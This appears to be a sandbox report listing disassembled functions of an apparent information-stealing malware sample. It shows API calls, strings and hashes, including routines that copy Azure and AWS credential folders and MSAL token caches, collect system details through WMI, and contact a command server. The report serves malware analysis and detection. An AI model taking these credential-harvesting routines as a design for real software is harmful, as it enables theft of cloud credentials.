API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$build_id$hwid
API String ID: 3006978581-3960666492
Opcode ID: 32d5f1c1b2206a96414964816aa2f95a0fd5bd726b6fe2dd4815c34debf5eb79
Instruction ID: 05dc65dde63484f8ac5df0544543808c18c9a64a97fbebf3921a50b733899a0c
Opcode Fuzzy Hash: 32d5f1c1b2206a96414964816aa2f95a0fd5bd726b6fe2dd4815c34debf5eb79
Instruction Fuzzy Hash: D502C371D5512A9ACF20EB21CD46ADDB7B5FF04308F4140E6A54873191DAB87ECA8FD8

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B00C,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

Unknown, xrefs: 00411985
Select * From Win32_OperatingSystem, xrefs: 00411895
Unknown, xrefs: 00411971
ROOT\CIMV2, xrefs: 00411862
InstallDate, xrefs: 004118ED
Unknown, xrefs: 0041196A
%d/%d/%d %d:%d:%d, xrefs: 00411943
WQL, xrefs: 0041189A

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: ecb02a859df1ba10e33711c523dfa2c11f7562346fa6362ec8d690aa38ec1f15
Instruction ID: 6fd9e62a785f938d9949a7602230453514f9597f3b9bb47a58a2ce8779b9d5c0
Opcode Fuzzy Hash: ecb02a859df1ba10e33711c523dfa2c11f7562346fa6362ec8d690aa38ec1f15
Instruction Fuzzy Hash: 17416C71940209BBCB10DBD5DC89EEFBBBDEBC9B11F20411AF611A6190D6799941CB28

Function 004164BD Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164E2

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416501
lstrcatA.KERNEL32(?,\.azure\), ref: 0041651E

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

_memset.LIBCMT ref: 00416556
lstrcatA.KERNEL32(?,00000000), ref: 00416578
lstrcatA.KERNEL32(?,\.aws\), ref: 00416595

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

_memset.LIBCMT ref: 004165CA
lstrcatA.KERNEL32(?,00000000), ref: 004165EC
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00416609
_memset.LIBCMT ref: 0041663E

Strings

*.*, xrefs: 004165AA
Azure\.IdentityService, xrefs: 00416619
\.azure\, xrefs: 00416512
Azure\.azure, xrefs: 00416531
\.IdentityService\, xrefs: 004165FD
\.aws\, xrefs: 00416589
Azure\.aws, xrefs: 004165A5
msal.cache, xrefs: 0041661E
*.*, xrefs: 00416536

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 780282842-974132213
Opcode ID: 76834d7dd4d0cf9b5b288714eb7b7638825ddcfa6bcbbff797c14ffbe4ebb74a
Instruction ID: 4c866f40ad272d889a39ae9f67839716a451dfd22230b5f9132dcad9f0c5c1bb
Opcode Fuzzy Hash: 76834d7dd4d0cf9b5b288714eb7b7638825ddcfa6bcbbff797c14ffbe4ebb74a
Instruction Fuzzy Hash: D041C871D4021CBBDB14EB60EC47FDD737CAB09304F5044AAB605A7090EAB9AB848F58

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373DC,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373E0), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFC
lstrcatA.KERNEL32(00000000,?), ref: 0040AF06
lstrcatA.KERNEL32(00000000,004373F8), ref: 0040AF12
lstrcatA.KERNEL32(00000000,?), ref: 0040AF1C
lstrcatA.KERNEL32(00000000,004373FC), ref: 0040AF28
lstrlenA.KERNEL32(00000000), ref: 0040AF7A
lstrlenA.KERNEL32(?), ref: 0040AF95
DeleteFileA.KERNEL32(?), ref: 0040AFD8

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 60d57d675a9d731589791353872bd52ec5546c376b553523e57875972b12a5df
Instruction ID: a3d02141b29f0bf43d948e825a07a3c24bfee850cb90f18aec9c3f52fa0ccd39
Opcode Fuzzy Hash: 60d57d675a9d731589791353872bd52ec5546c376b553523e57875972b12a5df
Instruction Fuzzy Hash: 14C14D32904208AFDF15EBA1ED4A9DD7B76EF04309F20102AF501B30A1DB7A6E959F95

Function 0041718B Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

CloseHandle.KERNEL32(00000000,?,?,?,?,004186D9), ref: 00417227
OpenEventA.KERNEL32(001F0003,00000000,?,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00417236
CreateDirectoryA.KERNEL32(?,00000000,004366DA), ref: 00417754
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00417815
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 0041782E

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 004139C2: StrCmpCA.SHLWAPI(?,block,?,?,0041788E), ref: 004139D7
Part of subcall function 004139C2: ExitProcess.KERNEL32 ref: 004139E2

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 00413198: strtok_s.MSVCRT ref: 004131B7
Part of subcall function 00413198: strtok_s.MSVCRT ref: 0041323A

Sleep.KERNEL32(000003E8), ref: 00417BE4

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,004186D9), ref: 0041724A

Part of subcall function 0041257F: __EH_prolog3_catch_GS.LIBCMT ref: 00412589
Part of subcall function 0041257F: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F7B,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Part of subcall function 0041257F: Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Part of subcall function 0041257F: Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
Part of subcall function 0041257F: StrCmpCA.SHLWAPI(?), ref: 004125DC
Part of subcall function 0041257F: CloseHandle.KERNEL32(00000000), ref: 004125F0

CloseHandle.KERNEL32(?), ref: 0041814A

Strings

org, xrefs: 00418031
hopto, xrefs: 00417FE9
.exe, xrefs: 00417F4E
.exe, xrefs: 00417693
cowod., xrefs: 00417FC5
http://, xrefs: 00417FA1
_DEBUG.zip, xrefs: 0041807F
60c3d71341c994ff133b7c9a96482d32, xrefs: 00417856

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$60c3d71341c994ff133b7c9a96482d32$_DEBUG.zip$cowod.$hopto$http://$org
API String ID: 305159127-2486810917
Opcode ID: 284a9a5a16217165c12f64316c8c04067302d27e890dfe132851e2c48006330e
Instruction ID: d54bf860e683a9d9ea948fbb2970d109c33e5cb74c0c5bfb99d811caa709b828
Opcode Fuzzy Hash: 284a9a5a16217165c12f64316c8c04067302d27e890dfe132851e2c48006330e
Instruction Fuzzy Hash: D59254315483419FC620FF26D94268EB3E1FF84308F51482FF59467191DBB8AA8D8B9B

Function 004135A8 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135EA
StrCmpCA.SHLWAPI(?,true), ref: 004136AC

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 0041376E
lstrcpyA.KERNEL32(?,00000000), ref: 0041379F
lstrcpyA.KERNEL32(?,00000000), ref: 004137DB
lstrcpyA.KERNEL32(?,00000000), ref: 00413817
lstrcpyA.KERNEL32(?,00000000), ref: 00413853
lstrcpyA.KERNEL32(?,00000000), ref: 0041388F
lstrcpyA.KERNEL32(?,00000000), ref: 004138CB
strtok_s.MSVCRT ref: 0041398F

Strings

true, xrefs: 004136A6
false, xrefs: 004136C5

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true
API String ID: 2116072422-2658103896
Opcode ID: 3ad845a5a554c50af850ac95adc5b1dd201381468a8343a8b3994508f74e39c6
Instruction ID: 81ccba1995f702cef7acb199cdd9bdb5c6872cd46d2fc8e3360dcc49f51edd81
Opcode Fuzzy Hash: 3ad845a5a554c50af850ac95adc5b1dd201381468a8343a8b3994508f74e39c6
Instruction Fuzzy Hash: 4DB16EB5900218ABCF64EF55DC89ACA7775BF18305F0001EAE549A7261EB75AFC4CF48

Function 00406963 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Strings

ERROR, xrefs: 00406BAB
ERROR, xrefs: 00406AB6
GET, xrefs: 00406A42

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET
API String ID: 3863758870-2509457195
Opcode ID: 56ecf0aba7c519ece0c66af887af754cbd594971b662da14919865983262fcd9
Instruction ID: 92cd9d1bd0ee06350c03b9e3f3f18be2958867256fee3cd8884f2eb8500b7709
Opcode Fuzzy Hash: 56ecf0aba7c519ece0c66af887af754cbd594971b662da14919865983262fcd9
Instruction Fuzzy Hash: 7751ADB1A00269AFDF20EB60DC84AEEB7B9FB04304F0180F6F549B2190DA755EC59F94

Function 00405237 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

GET, xrefs: 00405325

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 442264750-1805413626
Opcode ID: e145092e5971e2d185c63881f670a240b0d1857340e2706fcee05a96d2bcd81f
Instruction ID: a32ed7c537753017332b5fefae4aca360a8d4b0897a3b7a3abd4cad40ca03d43
Opcode Fuzzy Hash: e145092e5971e2d185c63881f670a240b0d1857340e2706fcee05a96d2bcd81f
Instruction Fuzzy Hash: EA5118B1900A28AFDF219F64DC84BEBBBB9EB08346F0050E6A509A2290D6755F858F54

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

Unknown, xrefs: 00411AB4
displayName, xrefs: 00411A6F
